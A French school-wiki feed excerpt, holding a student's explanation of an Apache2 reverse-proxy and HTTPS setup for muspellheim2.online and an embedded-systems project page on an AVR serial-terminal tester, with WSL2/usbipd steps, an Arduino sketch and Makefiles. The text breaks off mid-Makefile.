&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
📄 '''Fichier concerné : /etc/apache2/sites-available/muspellheim2.online.conf'''&lt;br /&gt;
&lt;br /&gt;
Ce fichier configure un virtual host Apache2 pour le domaine muspellheim2.online, en mode proxy inverse (reverse proxy). Cela signifie que le serveur Apache2 reçoit les requêtes des utilisateurs et les redirige vers un autre serveur (Atreus), ici identifié par son adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Le fichier gère deux protocoles :&lt;br /&gt;
&lt;br /&gt;
- HTTP (port 80) — non sécurisé&lt;br /&gt;
&lt;br /&gt;
- HTTPS (port 443) — sécurisé avec SSL/TLS&lt;br /&gt;
&lt;br /&gt;
🔹 *VirtualHost :80 : Cela signifie que ce bloc s'applique à toutes les interfaces réseau, sur le port 80 (HTTP).&lt;br /&gt;
&lt;br /&gt;
🔹 ServerName : Nom de domaine géré par ce virtual host. Apache redirigera les requêtes envoyées à muspellheim2.online.&lt;br /&gt;
&lt;br /&gt;
🔹 ProxyPass / ... : Toutes les requêtes reçues sur / sont transmises à l'adresse IPv6 mentionnée. C’est là que tourne le vrai service web.&lt;br /&gt;
&lt;br /&gt;
🔹 ProxyPassReverse : Permet de réécrire les en-têtes de redirection (comme les Location: envoyés par le serveur cible), pour que le client voit toujours muspellheim2.online au lieu de l’IP.&lt;br /&gt;
&lt;br /&gt;
Atreus n’a pas d’IPv4 publique, donc il n’est pas directement joignable depuis Internet.&lt;br /&gt;
&lt;br /&gt;
➜ GOW, qui a une IP publique, agit comme une porte d’entrée vers Atreus.&lt;br /&gt;
&lt;br /&gt;
➜ C’est lui qui reçoit les requêtes extérieures et les redirige en interne vers le bon serveur.&lt;br /&gt;
&lt;br /&gt;
On appelle ça un proxy inverse : le client ne sait pas que le site tourne ailleurs, tout passe par GOW.&lt;br /&gt;
&lt;br /&gt;
=====&amp;lt;span style=&amp;quot;color:#bab9bd;font-weight: bold;&amp;quot;&amp;gt;&amp;lt;u&amp;gt; '''Configuration d’Apache2 sur Atreus : le vrai serveur web – Site muspellheim2.online''' :&amp;lt;/u&amp;gt; &amp;lt;/span&amp;gt;=====&lt;br /&gt;
📄 Fichier : /etc/apache2/sites-available/000-muspellheim.conf&lt;br /&gt;
&lt;br /&gt;
Ce fichier configure le serveur Apache2 sur la machine Atreus, qui héberge le véritable contenu du site muspellheim2.online. Il gère aussi bien les connexions HTTP que HTTPS.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim2.online&lt;br /&gt;
    RedirectPermanent / https://muspellheim2.online/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
🔹 *VirtualHost :80 : Écoute sur le port HTTP.&lt;br /&gt;
&lt;br /&gt;
🔹 ServerName / ServerAlias :&lt;br /&gt;
&lt;br /&gt;
ServerName : Nom principal du site.&lt;br /&gt;
&lt;br /&gt;
ServerAlias : Permet aussi de répondre à www.muspellheim2.online.&lt;br /&gt;
&lt;br /&gt;
🔹 RedirectPermanent / : Redirige tout le trafic HTTP vers HTTPS. &lt;br /&gt;
&lt;br /&gt;
💡 '''Pourquoi ?'''&lt;br /&gt;
&lt;br /&gt;
C’est une '''bonne pratique de sécurité''' : on force tous les visiteurs à utiliser une connexion chiffrée.&lt;br /&gt;
&lt;br /&gt;
Partie HTTPS – Serveur principal&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim.online&lt;br /&gt;
    ...&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  Port 443 : Pour les connexions HTTPS (chiffrées).&lt;br /&gt;
&lt;br /&gt;
🔹 ServerName / ServerAlias : Idem que pour le port 80&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SSLCertificateFile /etc/ssl/certs/muspellheim2.online.crt&lt;br /&gt;
SSLCertificateKeyFile /etc/ssl/certs/private/muspellheim2.online.key&lt;br /&gt;
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
🔹 Ces trois fichiers permettent au serveur d’offrir une connexion HTTPS sécurisée :&lt;br /&gt;
&lt;br /&gt;
- .crt : certificat public du site. &lt;br /&gt;
&lt;br /&gt;
- .key : clé privée (confidentielle). &lt;br /&gt;
&lt;br /&gt;
- ChainFile : certificat intermédiaire (chaîne de certification, fourni par Gandi ici).&lt;br /&gt;
&lt;br /&gt;
'''📝 Logs Apache'''&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
🔹 Gère la journalisation :&lt;br /&gt;
&lt;br /&gt;
- error.log : erreurs serveur.&lt;br /&gt;
&lt;br /&gt;
- access.log : toutes les requêtes reçues, avec IP, timestamp, etc.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Partie HTTP (port 80)&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim2.online&lt;br /&gt;
    RedirectPermanent / https://muspellheim2.online/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Partie HTTPS (port 443)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim.online&lt;br /&gt;
    # SSLProxyEngine on&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
    SSLCertificateFile /etc/ssl/certs/muspellheim2.online.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/certs/private/muspellheim2.online.key&lt;br /&gt;
    SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
    &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
        SSLOptions +StdEnvVars&lt;br /&gt;
    &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
    &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
        SSLOptions +StdEnvVars&lt;br /&gt;
    &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et comme '''Atreus est le vrai serveur''', et que '''GOW redirige tout vers lui''', ça permet à l’utilisateur de '''n’avoir aucune idée que deux serveurs travaillent ensemble derrière &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Schéma fonctionnel redirection vers Atreus.png|alt=Schéma fonctionnel redirection vers Atreus|345x345px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== ✅ Vérification finale : est-ce que le site est en ligne et accessible ? ==&lt;br /&gt;
Une fois que '''tout est configuré''' (serveur web, DNS, DNSSEC, reverse proxy, certificats...), il ne reste plus qu'à '''tester si le site fonctionne bien'''.&lt;br /&gt;
&lt;br /&gt;
=== 🧪 Méthode 1 : test en ligne de commande avec &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
curl -4 https://muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Sortie curl -4 muspellheim.png|alt=sortie curl -4 muspellheim|550x550px]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
curl -6 https://muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Sortie curl -6 muspellheim.png|alt=sortie curl -6 muspellheim|502x502px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== 🌍 Méthode 2 : test dans un navigateur ===&lt;br /&gt;
Vous pouvez aussi tout simplement ouvrir votre navigateur préféré et taper l’adresse :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
https://muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Projet fini Muspellheim.png|alt=Projet fini Muspellheim|1076x1076px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;curl -4&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;curl -6&amp;lt;/code&amp;gt; permettent de '''vérifier si votre site répond en IPv4 et IPv6'''.&lt;br /&gt;
&lt;br /&gt;
* Si vous n’avez pas de retour ou que la connexion échoue, vérifiez :&lt;br /&gt;
** votre '''config Apache'''&lt;br /&gt;
** vos '''règles de pare-feu'''&lt;br /&gt;
** vos '''enregistrements DNS'''&lt;br /&gt;
** et que vos '''certificats sont bien en place'''&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2024/2025_EC2&amp;diff=10327</id>
		<title>SE4 2024/2025 EC2</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2024/2025_EC2&amp;diff=10327"/>
		<updated>2025-09-03T18:32:47Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Programme de test avancé */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Vous allez concevoir, réaliser et programmer un système embarqué de test de terminaux série assez souvent utilisés pour l'administration système et réseau.&lt;br /&gt;
&lt;br /&gt;
Les terminaux visés sont des terminaux logiciels comme &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; tournant sur un système d'exploitation moderne mais aussi d'ancien terminaux comme un Ampex 210 ou un Televideo TVI-920C.&lt;br /&gt;
&lt;br /&gt;
Vous commencerez par concevoir votre carte dont le coeur doit être un microcontrôleur AVR et qui doit pouvoir se connecter en USB/série à un PC moderne mais aussi à d'anciens terminaux via des connecteurs DB9 et DB25 (voir les manuels des terminaux pour le brochage). L'utilisateur doit aussi pouvoir sélectionner le mode de test et le type de terminal. Une réflexion doit être menée sur l'alimentation de la carte. Vous avez le droit à un budget de 50 euros pour la carte, les composants et le port.&lt;br /&gt;
&lt;br /&gt;
Une fois la carte conçue et validée par l'encadrant vous pourrez vous pencher sur la programmation de la carte. Cette programmation se fera uniquement en utilisant la version AVR de &amp;lt;code&amp;gt;gcc&amp;lt;/code&amp;gt; et l'utilitaire &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;. Vous pouvez utiliser l'Arduino Uno fourni pour les premières versions de votre programme de test de terminaux. Comme terminal vous pouvez utiliser &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; dans un premier temps.&lt;br /&gt;
&lt;br /&gt;
Le logiciel de test doit proposer plusieurs tests, un test fonctionnant en ASCII pur, par exemple un jeu de pendu et un jeu plus complexe utilisant des séquences de déplacement du curseur sur l'écran, par exemple un jeu tétris. Pour les séquences permettant l'adressage du curseur, vous pouvez utilisez le protocole VT100 pour &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;. Pour les terminaux plus anciens, vérifiez quels protocoles avancés de gestion d'affichage sont disponibles. Le cas échéant, faites en sorte que votre test avancé puisse utiliser des protocoles différents sélectionnés par l'utilisateur via les contrôles sur votre carte.&lt;br /&gt;
&lt;br /&gt;
L'épreuve sera considérée comme un succès s'il est possible de jouer à tétris sur un des deux anciens terminaux.&lt;br /&gt;
&lt;br /&gt;
Il s'agit là d'un cahier des charges initial qui peut être revu en cas d'ambigüité. Vous avez jusqu'au 1 septembre pour réaliser le travail demandé. Il vous est explicitement demandé de produire un travail régulier le plus tôt possible *et* de faire des rapports réguliers (obligatoirement au travers de ce Wiki) à votre encadrant. S'y prendre à la dernière minute avec un seul retour à quelques jours de la date limite est une garantie d'échec.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Le matériel nécessaire est constitué :&lt;br /&gt;
* d'un PC pour la conception de la carte et la mise au point du programme embarqué (à votre charge) ;&lt;br /&gt;
* d'un Arduino UNO pour le test de la version initiale de votre programme embarqué (fourni par l'encadrant) ;&lt;br /&gt;
* de terminaux Ampex 210 et Televideo TVI-920C (à utiliser à l'école fin août).&lt;br /&gt;
&lt;br /&gt;
= Foire aux questions =&lt;br /&gt;
&lt;br /&gt;
* L'épreuve complémentaire est-elle réalisable au domicile de l'élève ?&lt;br /&gt;
&lt;br /&gt;
La conception de la carte est réalisable à domicile, la fabrication de la carte est prévue à l'extérieur (50 euros maximum, composants et port compris), il faut donc une adresse postale valide pour recevoir le PCB, la réalisation de la carte peut être externalisée (dans la limite des 50 euros) ou à domicile en utilisant un fer à souder personnel, le développement initial est réalisable sur l'Arduino fourni (et un PC personnel), les tests basiques et avancés sont réalisables à domicile (Arduino et PC personnel), le test sur les anciens terminaux est à prévoir fin août à l'école. Il n'est pas prévu d'accès aux ressources de l'école avant fin août.&lt;br /&gt;
&lt;br /&gt;
* Où est disponible l'Arduino UNO ?&lt;br /&gt;
&lt;br /&gt;
Comme indiqué dans le courriel du 15 juillet, le matériel est disponible à l'accueil de l'école. A rendre au premier septembre 2025.&lt;br /&gt;
&lt;br /&gt;
* Comment programmer la carte ?&lt;br /&gt;
&lt;br /&gt;
Comme indiqué dans le sujet, la carte doit pouvoir se programmer par DFU/USB. Il est conseillé d'utiliser un système d'exploitation Linux pour le développement du programme embarqué mais vous pouvez utiliser tout autre système du moment que vous assumez ce choix.&lt;br /&gt;
&lt;br /&gt;
* Comment sera testée la carte réalisée ?&lt;br /&gt;
&lt;br /&gt;
La carte sera testée par l'encadrant d'abord en utilisant l'utilitaire &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; avec son émulation VT100 sous un Linux mais l'élève peut tester son code avec tout autre outil. Un second test sera conduit sur les anciens terminaux série de l'école.&lt;br /&gt;
&lt;br /&gt;
* Précisions sur les jeux &amp;quot;pendu&amp;quot; et &amp;quot;tétris&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les jeux évoqués doivent pouvoir être joué à partir de l'écran et des touches des terminaux. Les éventuelles touches sur la cartes ne servent qu'à sélectionner le test et le protocole de commandes du terminal (VT100 ou autre).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== COMPTE-RENDU DU 28/07/2025 ===&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;u&amp;gt;Préliminaires – Connexion d’un Arduino via USB à Minicom dans WSL2&amp;lt;/u&amp;gt; ====&lt;br /&gt;
Dans ce projet, il est nécessaire de communiquer avec un microcontrôleur (ici, un '''Arduino Uno''') connecté en '''USB''' à un PC sous '''Windows 11''', en utilisant un outil typiquement '''Linux''' : '''Minicom''', un terminal série.&lt;br /&gt;
&lt;br /&gt;
Or, Minicom ne fonctionne pas directement sur Windows, et nécessite un environnement Linux. Pour cette raison, nous avons mis en place un environnement '''WSL2''' (Windows Subsystem for Linux) avec '''Ubuntu''', capable d'accéder au port USB de l'Arduino.&lt;br /&gt;
&lt;br /&gt;
Cette section détaille toutes les étapes techniques pour configurer correctement cette chaîne de communication entre :&lt;br /&gt;
&lt;br /&gt;
* l’'''IDE Arduino''' sous Windows pour téléverser les programmes,&lt;br /&gt;
* l’environnement '''Ubuntu WSL2''' pour dialoguer via le terminal Minicom.&lt;br /&gt;
&lt;br /&gt;
===== &amp;lt;u&amp;gt;Environnement logiciel utilisé&amp;lt;/u&amp;gt; =====&lt;br /&gt;
&lt;br /&gt;
* '''Système d’exploitation''' : Windows 11&lt;br /&gt;
* '''Distribution Linux via WSL2''' : Ubuntu 20.04&lt;br /&gt;
* '''Périphérique série utilisé''' : Arduino Uno &lt;br /&gt;
* '''Outils utilisés''' :&lt;br /&gt;
** WSL2&lt;br /&gt;
** usbipd-win (redirection USB vers WSL)&lt;br /&gt;
** &amp;lt;code&amp;gt;Minicom&amp;lt;/code&amp;gt; (communication série Linux)&lt;br /&gt;
&lt;br /&gt;
==== Redirection USB du port Arduino vers WSL ====&lt;br /&gt;
Par défaut, un port USB comme '''COM9''' sur Windows '''n'est pas visible directement''' sous WSL. Pour le rendre accessible à Ubuntu, il faut utiliser '''usbipd-win'''.&lt;br /&gt;
&lt;br /&gt;
==== Installer usbipd ====&lt;br /&gt;
Dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;winget install usbipd&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redémarrer le système W11 une fois l'installation terminée.&lt;br /&gt;
&lt;br /&gt;
=== Identifier le port USB de l’Arduino ===&lt;br /&gt;
Branche l’Arduino via USB.&lt;br /&gt;
&lt;br /&gt;
Dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;usbipd list&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cela affiche tous les périphériques USB connectés. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;BUSID  VID:PID    DEVICE&lt;br /&gt;
1-1    2341:0043  Périphérique série USB (COM9)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici, le '''BUSID''' est &amp;lt;code&amp;gt;1-1&amp;lt;/code&amp;gt; et l’Arduino est détecté sur le '''port COM9'''.&lt;br /&gt;
&lt;br /&gt;
=== Partager puis attacher le port à WSL ===&lt;br /&gt;
Toujours dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;usbipd bind --busid 1-1&lt;br /&gt;
usbipd attach --busid 1-1 --wsl&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vérifier dans Ubuntu que le port est bien présent&lt;br /&gt;
Dans Ubuntu (WSL) :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ls /dev/tty*&lt;br /&gt;
/dev/tty    /dev/tty21  /dev/tty35  /dev/tty49  /dev/tty62&lt;br /&gt;
/dev/tty0   /dev/tty22  /dev/tty36  /dev/tty5   /dev/tty63&lt;br /&gt;
/dev/tty1   /dev/tty23  /dev/tty37  /dev/tty50  /dev/tty7&lt;br /&gt;
/dev/tty10  /dev/tty24  /dev/tty38  /dev/tty51  /dev/tty8&lt;br /&gt;
/dev/tty11  /dev/tty25  /dev/tty39  /dev/tty52  /dev/tty9&lt;br /&gt;
/dev/tty12  /dev/tty26  /dev/tty4   /dev/tty53  /dev/ttyACM0&lt;br /&gt;
/dev/tty13  /dev/tty27  /dev/tty40  /dev/tty54  /dev/ttyS0&lt;br /&gt;
/dev/tty14  /dev/tty28  /dev/tty41  /dev/tty55  /dev/ttyS1&lt;br /&gt;
/dev/tty15  /dev/tty29  /dev/tty42  /dev/tty56  /dev/ttyS2&lt;br /&gt;
/dev/tty16  /dev/tty3   /dev/tty43  /dev/tty57  /dev/ttyS3&lt;br /&gt;
/dev/tty17  /dev/tty30  /dev/tty44  /dev/tty58  /dev/ttyS4&lt;br /&gt;
/dev/tty18  /dev/tty31  /dev/tty45  /dev/tty59  /dev/ttyS5&lt;br /&gt;
/dev/tty19  /dev/tty32  /dev/tty46  /dev/tty6   /dev/ttyS6&lt;br /&gt;
/dev/tty2   /dev/tty33  /dev/tty47  /dev/tty60  /dev/ttyS7&lt;br /&gt;
/dev/tty20  /dev/tty34  /dev/tty48  /dev/tty61&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Ce périphérique correspond à l’Arduino connecté en USB.&lt;br /&gt;
C’est ce port que Minicom utilisera pour la communication série.&lt;br /&gt;
&lt;br /&gt;
Exemple de sketch Arduino pour test de communication&lt;br /&gt;
Ce sketch permet de tester si la communication fonctionne bien.&lt;br /&gt;
Téléverser via l’IDE Arduino sous Windows avant d’attacher le périphérique à WSL :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;cpp&amp;quot;&amp;gt;&lt;br /&gt;
void setup() {&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void loop() {&lt;br /&gt;
  if (Serial.available()) {&lt;br /&gt;
    char c = Serial.read();&lt;br /&gt;
    Serial.print(&amp;quot;Vous avez tapé : &amp;quot;);&lt;br /&gt;
    Serial.println(c);&lt;br /&gt;
  }&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Alternance Windows ↔ WSL &lt;br /&gt;
&lt;br /&gt;
Pour téléverser un sketch depuis Windows :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;usbipd detach --busid 1-1&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
(Le périphérique redevient accessible dans l’IDE Arduino sous Windows)&lt;br /&gt;
&lt;br /&gt;
Pour basculer la communication vers Ubuntu (Minicom) :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;usbipd bind --busid 1-1&lt;br /&gt;
usbipd attach --busid 1-1 --wsl&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Cette alternance peut être répétée autant que nécessaire.&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
&lt;br /&gt;
== Projet KiCAD de la carte ==&lt;br /&gt;
Lien Gitea avec Code Arduino, Code C, Makefile, fichiers KiCAD : https://gitea.plil.fr/pcasimir/Test-Terminaux_Rattrapages-SE4-2025.git&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Terminal-Testing SCH KiCAD.pdf|alt=Terminal-Testing SCH KiCAD|vignette|Terminal-Testing SCH KiCAD]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Programme de test ASCII ==&lt;br /&gt;
&lt;br /&gt;
Archive attachée avec &amp;lt;code&amp;gt;Makefile&amp;lt;/code&amp;gt; intégré. &amp;lt;syntaxhighlight lang=&amp;quot;makefile&amp;quot;&amp;gt;&lt;br /&gt;
# ========= Projet =========&lt;br /&gt;
TARGET  = program&lt;br /&gt;
MCU     = atmega328p&lt;br /&gt;
F_CPU   = 16000000UL&lt;br /&gt;
&lt;br /&gt;
# Tes sources C&lt;br /&gt;
SRC     = main.c serial.c timer.c hangman.c tetris.c&lt;br /&gt;
OBJ     = $(SRC:.c=.o)&lt;br /&gt;
&lt;br /&gt;
# ========= Outils =========&lt;br /&gt;
CC      = avr-gcc&lt;br /&gt;
OBJCOPY = avr-objcopy&lt;br /&gt;
CFLAGS  = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -Os -W -Wall -Wextra -std=c99&lt;br /&gt;
&lt;br /&gt;
# ========= Port série (à adapter si besoin) =========&lt;br /&gt;
# Linux / WSL&lt;br /&gt;
PORT    = /dev/ttyACM0&lt;br /&gt;
# Windows (exemple)&lt;br /&gt;
# PORT  = COM4&lt;br /&gt;
# macOS (exemple)&lt;br /&gt;
# PORT  = /dev/tty.usbmodem14101&lt;br /&gt;
&lt;br /&gt;
# ========= avrdude (bootloader Optiboot UNO) =========&lt;br /&gt;
AVRDUDE     = avrdude&lt;br /&gt;
PROGRAMMER  = arduino&lt;br /&gt;
BAUD        = 115200&lt;br /&gt;
&lt;br /&gt;
# ========= dfu-programmer (ATmega16U2 en DFU) =========&lt;br /&gt;
DFU_CHIP    = atmega16u2&lt;br /&gt;
# Met le chemin vers le firmware USB-série officiel Uno R3 (ou ton .hex LUFA)&lt;br /&gt;
# Exemples : &lt;br /&gt;
#  - Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
#  - Arduino-COMBINED-dfu-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
FW16U2      = Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
&lt;br /&gt;
# ========= Règles par défaut =========&lt;br /&gt;
.PHONY: all clean upload flash16u2 help&lt;br /&gt;
&lt;br /&gt;
all: $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
$(TARGET).elf: $(OBJ)&lt;br /&gt;
	$(CC) $(CFLAGS) -o $@ $^&lt;br /&gt;
&lt;br /&gt;
%.o: %.c&lt;br /&gt;
	$(CC) $(CFLAGS) -c $&amp;lt; -o $@&lt;br /&gt;
&lt;br /&gt;
%.hex: %.elf&lt;br /&gt;
	$(OBJCOPY) -O ihex -R .eeprom $&amp;lt; $@&lt;br /&gt;
&lt;br /&gt;
# ========= Téléversement sur l'ATmega328P (comme l'IDE Arduino) =========&lt;br /&gt;
upload: $(TARGET).hex&lt;br /&gt;
	$(AVRDUDE) -p m328p -c $(PROGRAMMER) -P $(PORT) -b $(BAUD) -D -U flash:w:$&amp;lt;:i&lt;br /&gt;
&lt;br /&gt;
# ========= Flash du 16U2 en DFU (optionnel) =========&lt;br /&gt;
flash16u2:&lt;br /&gt;
	@if [ ! -f &amp;quot;$(FW16U2)&amp;quot; ]; then echo &amp;quot;&amp;gt;&amp;gt; ERREUR: FW16U2 introuvable: $(FW16U2)&amp;quot;; exit 1; fi&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; Assure-toi que l'ATmega16U2 est en mode DFU (RESET↔GND sur header ICSP du 16U2).&amp;quot;&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) erase&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) flash $(FW16U2)&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) reset&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; 16U2 reflashé. Le port série doit réapparaître.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
	rm -f $(OBJ) $(TARGET).elf $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
help:&lt;br /&gt;
	@echo &amp;quot;Cibles utiles :&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make            -&amp;gt; compile et génère $(TARGET).hex&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make upload     -&amp;gt; téléverse sur l'ATmega328P via bootloader (avrdude)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make flash16u2  -&amp;gt; flashe le firmware du pont USB ATmega16U2 (dfu-programmer)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make clean      -&amp;gt; nettoyage&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Deuxième Makefile&amp;lt;syntaxhighlight lang=&amp;quot;makefile&amp;quot;&amp;gt;&lt;br /&gt;
# ========= Projet =========&lt;br /&gt;
TARGET  = program&lt;br /&gt;
MCU     = at90usb1287&lt;br /&gt;
F_CPU   = 16000000UL&lt;br /&gt;
&lt;br /&gt;
# ========= LUFA =========&lt;br /&gt;
LUFA_PATH = ./LUFA&lt;br /&gt;
&lt;br /&gt;
# Core USB (prend tous les .c du core + AVR8 pour éviter les soucis de noms)&lt;br /&gt;
LUFA_CORE_SRC = \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Core/*.c) \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Core/AVR8/*.c)&lt;br /&gt;
&lt;br /&gt;
# Classe CDC côté Device (et commun) — uniquement CDC&lt;br /&gt;
LUFA_CLASS_SRC = \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Class/Common/*CDC*.c) \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Class/Device/*CDC*.c)&lt;br /&gt;
&lt;br /&gt;
# ========= Sources de ton projet =========&lt;br /&gt;
SRC = main.c hangman.c tetris.c timer.c serial.c Descriptors.c \&lt;br /&gt;
